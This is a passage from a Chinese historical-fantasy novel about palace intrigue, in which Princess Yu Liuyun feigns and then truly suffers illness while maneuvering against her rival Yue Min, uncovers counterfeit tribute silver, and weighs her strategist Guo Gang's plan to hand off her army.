议政处里其他的王公贵族们只要见到这两个人不针锋相对就“阿弥陀佛”了,生怕他们就一个话题说得久了又要争执起来,累得大家不能准时下朝回家,于是都道:“算是一桩大事解决了,赶紧办其他的。”因催促着太监把前一日积压下的文件拿来。 无非是刑部的案子和票业司的杂事。这两样都是玉旒云管的多一些,众人都征询她的意见。悦敏正好可以坐在那里想着她骤出怪招的真实意图。他瞪着折子上庆澜帝的朱批,耳中模糊地听到众人的议论,脑子里千头万绪,忽而又想到身在冷宫的博西勒,能否救出爱人,也在此一举了。 猛地,不知谁说了一句“螳螂捕蝉,黄雀在后”。悦敏心中一震,又听一人道:“内亲王带兵打仗所向披靡,这次率领部下去开河抗旱,也一定是战天斗地无往而不胜啊!”他便醒悟了过来:啊呀,她可不就是专门带着兵队想埋伏我的么!立刻,就把玉旒云前往甘州的意图想了个透透彻彻。 他不禁“倏”地一下站了起来:这狡猾的丫头!怎么可以让她得逞? 旁人不明就里,纷纷问道:“永泽公,何事?” “啊……我突然想起……”悦敏心思转得飞快,“甘州赈灾虽然是大事,但是内亲王主管票业司,现在正是票业司起步之时,少了她怎么能行?” 众议政王们听了这话,的确大有道理——玉旒云要是走了,他们哪里懂得官办票业之事?就是把脑袋想破了,也做不成。但还不及赞同,那边玉旒云已经一拍桌子,道:“永泽公,你是什么意思?前天你说我不肯去挖河赈灾,今天又要我留在京城,难道我非得分身你才满意么?” “内亲王怎么发这么大火?”见她动怒,悦敏愈加肯定自己猜中了她的计划,暗笑着,道,“我从始至终没有说过要内亲王你亲自去甘州——赈灾和挖渠要紧的是人手、银两和粮食,至于统领全局,派一个户部官员再加一个工部官员就足够了。我以为,内亲王毕竟还是坐镇京城打点票业司比较好。这都是为了江山社稷着想嘛。” 玉旒云本来指望一招将悦敏将死,怎料他绝处逢生,反将自己一军,一时乱了方寸,也不顾深思熟虑,就设法反击道:“皇上让永泽公和我共同处理票业司之事,永泽公又为何一定要亲自去北方劳军?” 此话未免有些抬杠的意味。众议政王无不心中大叫糟糕。廉郡王向来站在悦敏这边,见状冷笑道:“内亲王这话说得大大的没有道理。永泽公一向就是负责北方防务的,他去北方看望自己的部下,有什么不妥?内亲王好像特别喜欢心血来潮不务正业——追亏空办票业司,这都是你提出来的,搞得一塌糊涂反而要靠永泽公替你筹银子,然后中途你又想甩手不管这烂摊子,跑去甘州挖河。是不是挖河挖了一半,你又要出新花样?” 玉旒云被他气得差点儿跳了起来,深悔自己行事之前没有计划周详——合该先去求见庆澜帝,请他准了自己的折子并发下圣旨,这才铁板钉钉让悦敏无机可乘! 然而世上却没有后悔药可吃,当务之急是想出应对之法!她强迫自己冷静。只是,越是勉强,越是思绪混乱,越是深呼吸,心跳就越是急。好像浑身的血液一刹那冲向头部,感觉耳朵“嗡”地一下,眼前便是一黑。跟着听到茶杯打碎的声音,然后感到手心剧痛,一时清醒了些,才发觉自己摔倒了,手掌揿在碎瓷上鲜血直流。 整个议政处的人包括悦敏在内都呆住了。有些人只道玉旒云昨天当真是在家养病,对于病人大家都有恻隐之心,于是把什么恩怨都抛开了,有的上来搀扶,有的嚷嚷着叫传太医。还有一些人,比如廉郡王,心里就犯嘀咕:莫非是脱身的苦肉计? 玉旒云自己也被震惊攫住,有好一会儿都不知道身边究竟发生了什么事,任人摆布地坐下了,呼吸稍稍平稳,就看到周围的人稀里哗啦全跪了下去,她才发现是庆澜帝进来了。 她也赶紧倒身欲拜,庆澜帝三两步上前扶住了:“爱卿坐着吧,朕本来想来看看你们议甘州赈灾的事,还没到门口就听说你病了,赶紧来看看。爱卿是国之柱石,千万要爱惜自己才是。” 玉旒云想按礼节感谢皇上关心,可是胸口好像压了一块大石头似的,没有说话的力气。悦敏看在眼里,想起探子告诉过他,玉旒云东征途中大病一场几乎不治,看现在她的脸色,并不像是装病。他心中不禁狂喜:莫非是老天要帮他除掉这障碍么?就乘机道:“内亲王想是近来操劳过度所以才会身体不支。谁也不是铁打的——内亲王,甘州赈灾与河工,你说什么也不能亲自去了。养病要紧。” “去甘州赈灾?”庆澜帝惊道,“这点事情还用得着玉爱卿你出马?又不是楚国人打来了,算得什么!永泽公说得没错,爱卿要保重身体,朕可离不了你。” 君无戏言。他这样说就等于是按照悦敏的意思下了圣旨。玉旒云心里更加着急,因此胸闷也愈加厉害,几乎连坐也坐不稳,直向前栽倒。 恰这时候就听到林枢的声音:“怎么都围着病人?快快让开了!”一边呵斥诸位议政王,一边挎着药箱到了跟前,才发现连庆澜帝也被呼喝在内。好在庆澜帝只挂着玉旒云的安危,也不在乎自己天威何存,摆摆手叫林枢不必多礼,看病为重。 林枢掐了掐玉旒云的脉,神色甚为凝重:“皇上,这里人多空气污浊,对内亲王很是不利。要不把她抬到别处,要不就请这里的大人们全都出去。” 议政王们巴不得早些放朝回家,都道:“病人不便移动,臣等告退。”即一个跟一个都走了出去。悦敏是最后一个,还再次看了看玉旒云,确认她真的病了,才强掩着心中的得意离开了议政处。 林枢打开药箱拿参片让玉旒云含着,然后一手将她扶住,另一手持针在她后腰命上扎了下去。庆澜帝在一边看着惊讶不已。他知道林枢乃玉旒云亲自荐进宫,医术在后宫中也颇有口碑,不过如此隔着衣服直接落针,实在还是第一次见到。见玉旒云身子微微一颤,面色煞白,牙关紧咬,额头上一层冷汗,仿佛疼痛难当的样子,他忍不住道:“林大夫……这……不会出岔子吧?” 但他话音才落,玉旒云已一把抓住林枢的手,一字一字道:“多谢你帮我演这场戏。” 庆澜帝一时懵了,道:“爱卿……什么演戏?” 玉旒云扶着茶几坐直了身体,面带笑容:“臣如果不演这出戏,怎么能把永泽公骗出议政处去?臣有要紧的事须面奏皇上。” “原来……”庆澜帝抚了抚胸口,“吓得朕……” “王爷……”林枢皱着眉头,“你……” “行了,你可以出去了。”玉旒云反手将腰上的针拔了下来,“我有机密之话要同万岁商量,你如果有什么要说的,待会儿也不迟。”说着,就把银针抛还给林枢。 林枢似有不甘,但是看庆澜帝的太监也都退了出去,皇上面前他毕竟不能造次,也只得收拾药箱到门外等候。 玉旒云定了定神,站起身来重新向庆澜帝行礼:“请皇上准臣前往甘州。” “爱卿,”庆澜帝抓着后脑勺,“这……就算你刚才是装病,这……甘州赈灾,皇叔让永泽公调你的人马,为的是架空你在京城得到势力。永泽公的折子写得让朕没有拒绝的余地。看来调你的人马走是势在必行的。可是,还有步军嘛,还有禁军和护军嘛,都得爱卿你统领来保护朕啊。要是爱卿你都跟着去了甘州,这京城可不就要乱套了么?” “万岁不要惊慌,”玉旒云道,“你听臣把话说完——”因凑到了庆澜帝的耳边,将自己和郭罡的计划说了一回。 庆澜帝越听眼睛瞪得越大,待玉旒云说完时,他连连摇头:“爱卿……这……这也太冒险了……不是你的计划不绝妙,而是,万一到时候京中有什么变化,爱卿领兵在外鞭长莫及,朕既不谙骑射,又不通兵法,到时身边连个商量的人都没有……太祖、太宗选择西京为京师,就是因为此地易守难攻……这要是让皇叔兵变成功,爱卿很难打回来……朕……皇后还有太子……啊呀,这可玩笑不得!” 他虽然有些语无伦次但是提到“西京易守难攻”却十分有理。玉旒云道:“臣像是拿这么大的事来开玩笑的人么?禁宫的安全自有臣先前荐来的勇士保障,他们个个都忠心耿耿,武艺又高强,决不会让万岁有任何危险。而整个京师内的防务有九门提督的步军负责,潘硕办事万岁还信不过么?京城之外……” “东台大营!”庆澜帝插话,“朕知道那里的督尉换了人。这个人可靠么?是不是皇叔的人?万一他有鬼……爱卿你的人马又离开了,京城岂不是危在旦夕?” “东台大营督尉虽然底细不明,但是东台大营的兵是臣和梦泉带出来的。”玉旒云道,“就算新督尉有鬼,士兵却不会跟着他搞鬼。况且原来的督尉唐运亭就在戚县。臣的前锋营督尉也带着人马在戚县驻扎,他们训练有素,一天之内就能开赴京城应付突发事件 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玉旒云道:“万岁只需要一切照常,有折子来就批,有贡品来就享用。不要让赵王爷看到任何的破绽,然后就按臣方才跟你说的,到了适当的时机配合着做适当的事,就可以了。” “啊?这……”庆澜帝摸着脑门儿,上面已有细细的汗珠,“爱卿的计划如此复杂,恐怕容不得一点儿差错。朕这个人有几斤几两,爱卿还不知道么?什么是适当时候,什么是适当的事,朕还不一定拿捏得准呢!万一把握错了时机,或者做错了事,岂不麻烦?爱卿有没有可以留在京中提点朕的人选?” “这……”玉旒云想,禁军的事都会交代给蒋文,步军有潘硕,戚县靠唐运亭和赵酋,自己离开了之后,京城的确少一个把握全局的人。本来郭罡担此角色最合适不过,但他是戴罪之身,又藏匿在刘子飞家中,联络不便。如果能设法把他藏在宫中来,未尝不是一个两全其美之计,然而这也不是那么容易就能办得到的。 “怎么?爱卿有什么为难之处?”庆澜帝见她沉吟,就问。 有难处和他说也没有用,玉旒云想,况且宫中人多眼杂,如果没成事反而走漏风声岂不前功尽弃?她因道:“臣的确有人选,不过还需要想想如何办才最妥当。反正臣还没有离京,去甘州之前臣一定给万岁一个交代,不让你有后顾之忧就是了。”说到这句的时候,她只觉喉咙里一股腥甜之味直涌而上,拼命咬住了嘴唇,鲜血还是滴滴答答地从嘴角淌了下来。 一直只顾着抓耳挠腮的庆澜帝骤然看见,吓得跳了起来:“啊呀,爱卿!你还说是装病做戏!你这可不是真的病了么!林大夫!林大夫!” 林枢其实早就知道玉旒云情况不妙,一听叫,立刻就冲了进来。将玉旒云的腕子匆匆搭了一下,就一把将她抱起来:“万岁,附近哪个宫房方便让内亲王躺下来的?” 庆澜帝吓得脸色发青:“啊呀,真是很严重么?从这里去凤藻宫倒是一条直路——快把朕的御辇抬来,送内亲王到凤藻宫。” “不行!”玉旒云没有力气反抗,只能用全力盯着庆澜帝,“万岁,不能把臣带去皇后娘娘那里……臣不能让皇后娘娘知道……也不能……不能在宫里传开……否则……咳……否则……” 庆澜帝理会得,否则赵王知道自己的股肱之臣得了急病,还不乘机作乱么!他热锅上的蚂蚁似的在原地打了个转儿:“啊,那就吉嫔那儿好了。比凤藻宫还近些!” “那好。”林枢道,“用皇上的御辇未免太招摇,臣把内亲王背过去。”说着,拽过一幅桌布来,将玉旒云的头脸盖住,往肩上一扛就出了议政处。 林枢毕竟是身有武功的人,背着玉旒云还比坐御辇的庆澜帝脚程快些。他已经当着惊慌的宫女的面将玉旒云抱进了吉嫔所居毓粹宫,庆澜帝才跟着来到。宫女们慌张地下跪迎驾,身怀六甲的吉嫔静襄摇晃着踏出门:“万岁……”庆澜帝只一摆手:“快把内亲王抬到床上去,叫人看着宫门,谁走漏半点风声,朕就要谁的脑袋。” 大家都有些莫名其妙,不过谁也不敢违抗圣旨,全木偶似的行动起来,吉嫔静襄跟着庆澜帝想一起看林枢如何救治玉旒云。然而林枢却把他们全都挡在了房门外。 他放玉旒云俯卧在床上,道一声“冒犯”,就从药箱中拿了剪刀出来将她官服从背后剪开。这时便可清楚地看到方才落针之处已出现了一片淤紫,拿手轻轻按了一下,玉旒云立刻一瑟缩,显然是疼得非常厉害。 “这是命门大穴。”林枢道,“你方才胡乱拔针,这可惹出麻烦来了。” 玉旒云无力同他争吵:“你是大夫,说……说这些没用的话干什么……刚才我没有功夫让你针灸,现在你想怎么样都可以……我今天如果不能好好儿地从这里走出去……恐怕你的脑袋也保不了。” 林枢一边从药箱里拿参片和银针,一边冷冷道:“下官是大夫,不是神仙。王爷自己糟蹋自己,却要赖下官不尽责,下官虽死得冤枉,但是也没什么话好说了。” 玉旒云虽然讨厌他说话的态度,但是对他的医术是十分信任的。林枢和端木槿,只要有这两个人在,她想她还死不了。不过今天这一场怪病实在叫人费解,她心中嘀咕,不就是被悦敏将了一军所以气狠了么?以前顶多就是头稍稍昏了一下,站稳了就没事了,怎么今天竟闹得如此? 她迷迷糊糊地转着这些心思。林枢的针一根一根地在她背上扎了下去。微微的酸痛和麻木,接着就有清凉舒缓的感觉。好像睡沉了在做美梦,却又明明是清醒的。约莫过了一个时辰,隐约感到林枢将被子盖到她身上,她才发觉针灸已毕。暗暗吸了一口气,觉得神清气爽,就好像之前的事全都没发生一样。 “我到底有什么不妥?”她问,又加上一句,“谢谢。” 林枢收拾着什物:“还不是我去年和王爷说过的话?王爷先天不足,后天又不保养,过了二十五岁身体一定会越来越差,最终大概活不过三十五岁。” 玉旒云自然不是第一次听到林枢这番话,东征时的一场大病,她想起来确实有些后怕。而这一年十月,她将满二十五岁。这不是骇人听闻。一切正按照林枢所预言地在发展。 她怔怔地,看着床单上的“寿”字图案,忽然想:不知道石梦泉眼下正做什么? 林枢叉着手,修长的手指任何时候看起来都那样干净且镇定:“下官也和王爷说过,如果调理得当,活过五十岁也不是什么难事。” “要如何调理?”玉旒云问。 “下官可开个方子给王爷,照单抓来服用。”林枢道,“不过,世上没有万试万灵的药,究竟这药在王爷身上有多少作用,下官须得观察一段时日才能知道。而这期间,下官建议王爷不要出行。” “你让我不要去甘州?”玉旒云如果不是因为衣冠不整,肯定就要跳起来,“这事关重大,怎容得你指手划脚?” 林枢十分冷淡:“下官不会对朝廷大事指手划脚。王爷向下官求医问药,下官只是以事论事。难道经过了东征,又经过了今日,王爷还不知道身体垮了,别说大事,就连小事也办不了么?你们官场上的人时常会说‘小不忍则乱大谋’。依下官看来,一时急功近利不顾身体,将来只会给自己带来更多的麻烦——因为计谋怎样策划都好,银两和下属如何支配也罢,都可以任你谋算,唯独你自己的身体是不听你使唤的,什么时候会病,什么时候会死,怎么轮得到你来安排?王爷想让你的身体破坏你的大事么?” 玉旒云愣了一下:东征的时候虽然病倒,但并没有耽误正事。现在和赵王一场恶斗在即,假如自己真的倒了下来,岂不是便宜了这父子俩?然而,自己不跟着大军一处,谁指挥勤王之战? 见她犹豫,林枢道:“下官的话也就只能说这么多,要生要死,还是看王爷自己。”说时,欠欠身就要出去向庆澜帝复命。 “等一等。”玉旒云叫住他,“我会好好考虑你的建议。不过,我现在身体是什么状况,你不可再说给其他人知晓。” 林枢道:“身体是你自己的,说给别人听做什么?我不找那麻烦。”讲到最后两个字时,已经打开了房门。外头庆澜帝和吉嫔静襄正焦急地等着。林枢道:“王爷需要一件替换的衣服。皇上现在还不便进去。” 庆澜帝“恩”了一声,显然是心焦不已:“林大夫,内亲王到底是怎么一回事?” “内亲王现在已经没事了。”林枢淡然地,“臣现在要去写方子,并去御药方抓药,一回送到内亲王府上。臣告退。” 玉旒云在里面竖着耳朵听他说这些话,见他宁可“欺君”也没有泄露自己的病情,舒了口气。正好静襄也亲自拿了一件袍子来给她换上,梳了头,擦了脸,感觉像换了个人似的,下床来活动活动筋骨,无一处不妥当,几乎立刻就把林枢的劝告抛到九霄云外。 “爱卿的气色好多了。”庆澜帝进来看了看她的脸,“在议政处的时候简直把朕的魂也吓掉半条。” “让皇上和娘娘担心,”玉旒云躬身,“臣惶恐。” “爱卿不要说如此见外的话。”庆澜帝道,“朕没有爱卿,才六神无主呢!”静襄也道:“王爷打小的时候病痛就多,皇后娘娘为你操了多少心。好在今天是瞒住了她。不过王爷要保重身体,留得青山在,才不怕没柴烧嘛——哎呀……”她的表情忽然一变,捧住了肚子:“我……我怕是要生了……” 这话一出,立刻把刚刚才轻松下来的庆澜帝又变成了热锅上的蚂蚁:“啊……这……不是还有一个月么?” “许是方才站得久了,动了胎气……”静襄咬着牙,面容已经扭曲,但是却还镇静,“快……皇上,内亲王,毓粹宫要成血房了,你们不能留在这里……”她招呼宫女和太监:“还不送皇上和内亲王出去?请产婆来——把林大人也追回来!” 宫女和太监遭遇今天第二次突发事件,年轻一点儿的都慌乱不堪仿佛没头苍蝇。幸亏静襄自己是太后身边的女官出身,懂得应付各种情况,这才稳住局面。 庆澜帝和玉旒云就被匆匆地“赶”出了毓粹宫。 庆澜帝有些手足无措,一时说要摆驾乾清宫,一时又说干脆在隔壁宫房坐一坐,等着毓粹宫的消息。玉旒云则心中惦记着和赵王的生死一战,若自己不能去甘州,计划就要重新部署,她还得再和郭罡商量一次。于是就和庆澜帝道别,独自出宫。 她走得很快,没多一会儿已经来到了宫门外。车轿早就等着了。大约议政王们传出她病倒的消息,所以轿夫和随从见到她都围了上来,问:“王爷没事了?” 她轻笑一声:“谁说我有事?”摆摆手,吩咐准备起轿,却又忽然看到不远处晋二娘正朝这边张望——此处虽然已的禁宫之外,但只有王公大臣的车轿才可以停留,平民百姓是不能靠近的,所以晋二娘离她有好几箭地之远。 是特地来找我的?玉旒云看到晋二娘不停地向自己打手势——能跑到禁宫门前来等我,恐怕此事非同小可!当下,吩咐轿夫们原地等候,自己先来找晋二娘问个究竟。 “王爷你终于出来了!”晋二娘擦着脸上的汗,看来已等了不少时间。 “怎么了?”玉旒云第一反应的就是郭罡出事了,“不是那宅子吧?” “不是。”晋二娘拿手绢儿打着扇子,“我想我知道那二百五十万两银子是怎么变出来的了。” “果真?”玉旒云感觉眼前一亮。 晋二娘从荷包里掏出一大锭银子来:“这就是南方七郡的新铸的官宝五十两。” 玉旒云接过来看了看,是崭新的十足成纹,底下还有南方七郡总督府的印章。“怎么会到了你的手里?” “这个王爷先不要问。”晋二娘道,“你再请看看这一只元宝。”因从荷包里又摸出一枚银锭来,略小,应该是二十两。 不过当玉旒云抓到手中的时候却吃了一惊:“怎么,这二十两的元宝比五十两的还重?” 晋二娘显出了得意的笑容:“不错。这锭二十两的是‘二四宝’,这种银锭每五十两贴水二两四钱,成色是要比一般的纹银高。但是无论如何,二十两的银锭比五十两的重,这是绝对不可能的。” “这么说……这五十两的假的?”玉旒云惊讶,同时心里也燃起了欣喜。 晋二娘点点头:“看来想靠造假发财的不止王爷一个人。只是这些人做得太离谱,也太大胆了。” “发财路走不成,却上黄泉路!”玉旒云大笑起来,一把拉住晋二娘,“来,你跟我一起做轿子去咱们的新买的别苑,一边走一边细细跟我说。” 82. 第 82 章 晋二娘告诉玉旒云,这锭官宝来自西京的珠宝铺。替南方七郡总督押送银两来京的一位官员想为家乡的姨太太买件首饰,当时相中了铺中最名贵的一串珍珠项链,市值五千两。他全部付的现银——用箱子装好的,所以首饰铺的伙计也没细查,只看有总督府的银记相信也不会有假。然而首饰铺打烊后,到鼎兴来存钱,就被鼎兴的坐柜发现了蹊跷,立刻报告晋二娘。晋二娘晓得事关重大,宁可自家票号吃亏收假银子,也不能打草惊蛇,于是把五千两假银子统统收下,只当什么事没发生,接着就来找玉旒云报告。 玉旒云听后笑道:“五千两嘛。我赔你就是。” 晋二娘当然也早知道她会这样说,谢了,又问:“那么王爷打算如何揭穿这件事?” 玉旒云想了想:揭穿并不困难,关键是何时揭穿。揭得早了,赈灾银和军饷都没有,悦敏便不会去北疆,自己的部队也不会去甘州;揭得迟了,莫非真拿这些假银两来买粮食发军饷吗?这些假银两一旦流到市面上,后果不堪设想。 举棋不定,好在两人已经来到了刘子飞家隔壁的宅院。晋二娘看到四下无人注意,才叫玉旒云下车进门。接着,她就按前日的约定到围墙的缺口处去摆放和郭罡碰头的暗号——遇到刘家的下人,又少不得罗嗦了几句关于修墙的事。一切安排妥当,她即和玉旒云在房中等候,过了二更天,郭罡就来了。玉旒云便开门见山说了假银两的事,问:“先生以为该如何决断?” 郭罡仿佛一点儿也不觉得为难,只微微一笑道:“王爷既然有此犹豫,其实不是已经有了决断吗?如何还要来问我?” “什么意思?”玉旒云皱着眉头。 郭罡道:“如王爷自己所说,如果揭穿得太早,就会打乱原来部署的计划——不仅是我们的计划,也还有悦敏的计划。计划打乱了,自然就要重新部署。然而如果揭穿得太迟,则假银流入市上,后果不堪设想——既然后果都不堪设想了,王爷要如何补救呢?王爷应该知道,你和赵王一派拼胜负不只是眼前,更是将来长久的胜负。为了一时迅速简单地将敌人斗垮——且不论是否能成,却使得国家根基动摇,这难道不是得不偿失么?赵王造假银两来调你的兵队,其实就是犯的这个错误。王爷莫非要重蹈覆辙?” “这……”玉旒云其实自己还没有考虑到取舍问题,听郭罡这样讲,虽然不甘心放弃原来的计划,但也不得不赞同郭罡的说法,“先生的意思是立刻揭穿假银子的事?” 郭罡点点头,但又摇摇头。玉旒云不解道:“到底是什么意思?” 郭罡道:“不用‘立刻’,要稍微等一等。既要阻止假银流入市上,又要将赵王一派奸贼一网成擒,我正有办法!” 玉旒云一听,不禁大喜,道:“你不早点说!怎么开始我问你如何决断,你又不讲!” “王爷方才问我‘如何决断’——其实决断是王爷的事。我是王爷的谋士,不能僭越。只能告诉王爷,你权衡轻重所得出的结论,完全没有错。”郭罡微笑,仿佛是欣慰玉旒云经过他长久以来的指点终于从一个只知道争斗的孩子慢慢成长起来。“不过,虽然我不负责决断,出谋划策让事情按照王爷所期望的方向发展,却是我的职责所在。” “这和打击赵王有什么关系?”玉旒云不耐烦地打断。 “有莫大的关系。”郭罡深深地看了玉旒云一眼,“这关系到王爷是否信任我。” 玉旒云一怔:“我若不信任先生,如何在此同先生谈论大计?我就不怕先生把我出卖了么?” 郭罡笑了笑:“谈论大计是一回事,参与大计却是另外一回事,岂能相提并论!” 玉旒云最讨厌别人卖关子,听郭罡一直说些不相关的话,难免有些恼火:“你到底想说什么?” 郭罡道:“我想问王爷,如果要王爷把军队交给我带离京城准备剿灭叛乱,王爷能答应么?” 玉旒云不禁一愕:把军队交给郭罡?她始终忘不了在富安之时,只不过是让郭罡留在军中,他就闹出了水淹靖杨之事,以致自己和石梦泉几乎决裂。如今他要节制她的军队?这怎么可以! 却不好一口拒绝,因道:“我把军队交给先生,先生又不是将军,还是朝廷的逃犯,以名义号令士卒呢?他们能听你的么?” 郭罡知道她的心思,但不点破,道:“不错,如果是直接交给我,恐怕还没出京呢,刑部又找上门来。所以,我想将军把军队交给刘子飞。” “什么?”玉旒云跳了起来——水淹靖杨就是郭罡和刘子飞合伙搞出来的,后来他跟着刘子飞一路烧杀抢掠,虽然后来说是为了抓住刘子飞的把柄,但最终是他替刘子飞坐牢……这中间有太多的细节,看起来合理,一想又觉得奇怪,经解释合理了,再细想又十分古怪。直觉告诉玉旒云,决不能把兵权交给刘子飞和郭罡。 郭罡如何不知道她想的什么,并不为自己辩解,只道:“我正是建议王爷把军队交给刘子飞将军带去甘州赈灾。一来,如果是刘子飞将军督军,则赵王方面不会怀疑。二来,我跟在刘子飞身边,替王爷发号施令,王爷就可以留在京中把握全局——既要让军队走出去,又不能走得太远,好及时揭穿假银两之事将假银招回,必须要有两个人分两头行动。若是石将军还在京中,倒是很容易解决。如今,莫非王爷有分身术么?” 玉旒云知道他说的有理,闷声不响。 郭罡又道:“坐镇户部的钦差大臣是王爷和悦敏,如果换王爷去带兵,而我留在京中处理假银子的事,王爷觉得以我一介布衣又是戴罪之身,可能走进户部让人查验银两么?” 玉旒云无话可说。 郭罡道:“今王爷将军队交给刘子飞,悦敏也便放心北上。他一走,王爷就查户部的银子,既然有假,则可以命令刘子飞原地待命,同时招悦敏回京问罪。如果悦敏不回,则属于抗旨谋逆,正好将赵王一家一网打尽;如果他带兵回来,那正好我让王爷的军队在半途等着他;如果他还够胆只身回来的话,那就把假银子的事有多大闹多大,到时候那‘肖家娘子树下走,斑鸠占了喜鹊窝’的儿歌也已经传开了,翼王那边石人一出,赵王不反,天下人也认为他反了,夺爵圈禁还是如何,不就看王爷你高兴了吗?” 这个计策倒是……玉旒云不得不承认郭罡高明,且无形中也解决了自己需要留京治病的难题。只是,真的可以把军队交给刘子飞和郭罡吗?万一郭罡中途倒戈,岂不京城危矣?她转念又一想:军中有陈灏等人,他们总不至于听任郭罡摆布,更不肯听任刘子飞摆布,所以也应该闹不出什么大乱子来。因道:“照先生这么说,也可行。” 郭罡道:“如果王爷以为可行,那么还请给我一道手令。持此手令,全军上下都要听我号令。” “为什么?”玉旒云觉得郭罡把自己的想法都猜得一清二楚,恼火了起来。 郭罡道:“王爷这话问得奇怪——将士们当然不信刘子飞,也当然不信我。如果不给我手令,到时候如何行动?王爷觉得以陈灏等人就足够部署对付悦敏了吗?” 玉旒云咬了咬嘴唇:陈灏、慕容齐、韩夜虽然有独当一面的能力,但是和悦敏比起来……可是一旦授权郭罡全权操纵,那还怎么防备他起异心?她眯起眼睛看着郭罡,想从对方的表情看出什么端倪,然而郭罡也用一双小眼睛盯着她:“有一句话叫‘用人勿疑,疑人勿用’,说起来容易,但做起来比登天还难。因为如果要完全信任除了自己之外的另外一个人,就好像拿自己的一切来赌博一样——王爷够不够胆量赌呢?” “我一向不赌博。”玉旒云冷冷道,“我不做没有把握的事。” “是么?”郭罡淡淡地,带着些嘲讽,“任何事在结果确定之前都是没有把握的——就算是结果确定,比如盖棺定论了,也只能‘定论’那些被别人发现的事,而不为人知的,就永远被隐藏了起来。除了老天爷,谁能通观一切?” 玉旒云被他说得烦躁了起来她生性不喜欢被别人勉强,郭罡越是说得好像别无选择,她就越是不愿意走他的那条路。“这事我要考虑考虑。”她说。 “深思熟虑是应该的。”郭罡慢条斯理,“正如我方才所说,我只是出谋划策,最后的决断权始终在王爷的手里——只不过,王爷不要考虑得太久,否则等你考虑好了,形势又变了。” 玉旒云摆摆手:“就明天吧。明天再说。” 一晚上能考虑出什么结果?就算是彻夜不眠想穿脑袋也不见得能想出法子,何况服了林枢送来的药,玉旒云一觉睡到天光大白,连梦都没做一个,醒来之时,只见管家在门外急得直打转,问是何事,答说:宫里来消息,吉嫔生了一位皇子,母子平安,庆澜帝要设宴与王公大臣庆祝,时辰就定在午时。 玉旒云一看日头,可不得了,赶紧换上朝服,赶到宫中。那时文武官员和亲贵们都到得差不多了。大家按照品级和爵位的高低落座,悦敏就在玉旒云的下手。见了她就嘿嘿一笑:“内亲王,今天身体好些了?” “承你关心。”玉旒云道,“我一时半会儿还死不了。” “呵呵,”悦敏笑道,“死不了是好事。死了岂不看不成好戏了?” 玉旒云不理他。那边庆澜帝已经举起杯来,告诉大家这位二皇子取名元泰,吉嫔将进封为静妃。他连得了两个儿子,实在是上苍和祖宗的庇佑,所以决定明年加开恩科,并且免赋一年,如此种种。亲贵大臣们少不得说些“皇上英明”“天佑圣朝”的套话。鼓乐响起,到处是欢腾之声。 玉旒云只是坐在那里,心中不段地翻转着郭罡的那番话。可惜石梦泉不在,她想,否则倒多一个商量的人——不,如果石梦泉在,何须商量,必然是由石梦泉带兵去甘州的……这世界上她所能完全信任的,也就只有玉朝雾和石梦泉,而真正能够分担的,唯石梦泉而已!身体上的病痛和精神上的负担让她迫切地希望石梦泉能够立刻就回到她身边。只是,她也知道,必须熬过这个太祖诞辰节。 她烦闷地盯着杯中荡漾的琼浆:最初的目的只有一个——灭亡楚国。但何时才能达成? 也不知宴会进行了多久,忽然听到有侍卫喝道:“刺客!保护皇上!” 玉旒云一惊,看到殿上已经混乱了起来,御前侍卫们一拥而上,顷刻就将所谓的“刺客”包围起来。而包围圈中传来疾呼:“万岁,草民等不是刺客!草民等有要事启奏,逼不得已,才出此下策——” 亲贵大臣从片刻的惊慌中恢复过来,面面相觑。赵王倒是一直很镇定,起身道:“万岁,既然是庆祝皇子出生,不宜有血腥之事,且先听听这些人的理由,如何?” 庆澜帝在龙椅上面无人色:“啊……听……就听吧……” 侍卫们因而稍稍散开了,但仍然一人押着一个“刺客”,不敢有丝毫的放松。玉旒云这时才看到,这几个“刺客”都是混在乐舞艺人之中的,共有七人,领头发话的那个四十来岁,其他的都是弱冠少年。 “草民祝文林是甘州巡抚衙门的师爷。”那领头的道,“甘州大旱,百姓饿死无数,易子而食的惨剧时有发生。我们巡抚大人一直苦等朝廷赈济,却迟迟也没有消息。草民等才斗胆来京打听,不知万岁今日喜得皇子之时,是否还记得甘州百姓?” “大胆!”旁边有人喝道,“竟敢如此质问皇上?” “不要紧。”庆澜帝道,“朕怎么敢忘记甘州父老?”他让侍卫们放开祝文林等:“其实朕和诸位大臣无一日不在为甘州之事操心。只是之前苦与国库空虚,有心无力而已。不过日前永泽公已经从南方七郡筹得纹银二百五十万两,内亲王也表示要派兵队去甘州兴修水利,近日就要出发往甘州赈灾了呢。” “果真?”祝文林等大喜,一齐倒身高呼“万岁”。 “可不是?万岁带领满朝大臣为此劳心劳力,才终于有了财力人力来彻底解决甘州的旱灾。”悦敏似笑非笑地起身,“内亲王尤其心系甘州百姓,已经累得昨天在议政处晕倒了,她却还坚持要亲自去甘州督促河工呢!” 玉旒云一眼横了过去:虽然自己昨天在议政处的表现显然是被众议政王们看到了,也显然被他们传出去了,但是悦敏这样公然地在百官面前宣扬,简直让她没有反驳的余地。感觉满殿的目光齐向自己射来,她真恨不得就把悦敏杀了,但还不得不微笑道:“永泽公言重了,天气闷热一时头昏算得什么?怎比得上甘州饥民的痛苦?” “内亲王上为万岁分忧下为百姓请命,实在是国之柱石。”悦敏继续似笑非笑,“不过,身体之事不可马虎,朝廷中还有许多其他事,万岁爷需要你帮忙处理呢。你到甘州奔波操劳,实在不合适。” 昨天是在议政处阻止自己,今天就当众相逼!玉旒云暗暗捏起拳头:看来祝文林一伙八成也是悦敏找来的——也许根本就不是什么甘州请愿者,而是赵王的幕僚!可恶!她向庆澜帝一礼:“臣为万岁办事,鞠躬尽瘁,死而后已,不怕奔波操劳。” “这……”庆澜帝知道这其中的诸多玄妙之处,不好立刻表态。 “内亲王,”廉郡王道,“昨天万岁不是已经说了么?赈灾这点儿事儿,用不着你出马。莫非赈灾还能赈出金子来了,你非去不可?你已经霸着户部查账的事儿,票业司的事,还是领侍卫内大臣,你难道想把天下的事都管上了,从内亲王变摄政……”本来要说“摄政王”的,这是他平日自家牢骚时常讲的话,这会儿一溜嘴,差点儿犯了大罪,赶忙刹住,嘟囔了一句:“你虽然有能耐,但也不是三头六臂嘛!” 玉旒云冷冷地斜了他一眼,仿佛是说:你也配跟我交锋? “廉郡王快人快语,”悦敏道,“不过,皇上昨天的确说过,赈灾这样的事,不需要内亲王亲自出马。你还是留在京城一边休养,一边处理票业司的事比较合适。甘州那边派一个户部官员一个工部官员就足够了——万岁,您以为呢?” 庆澜帝哪有什么“以为”可说,只看着玉旒云,不知她究竟怎么应对。 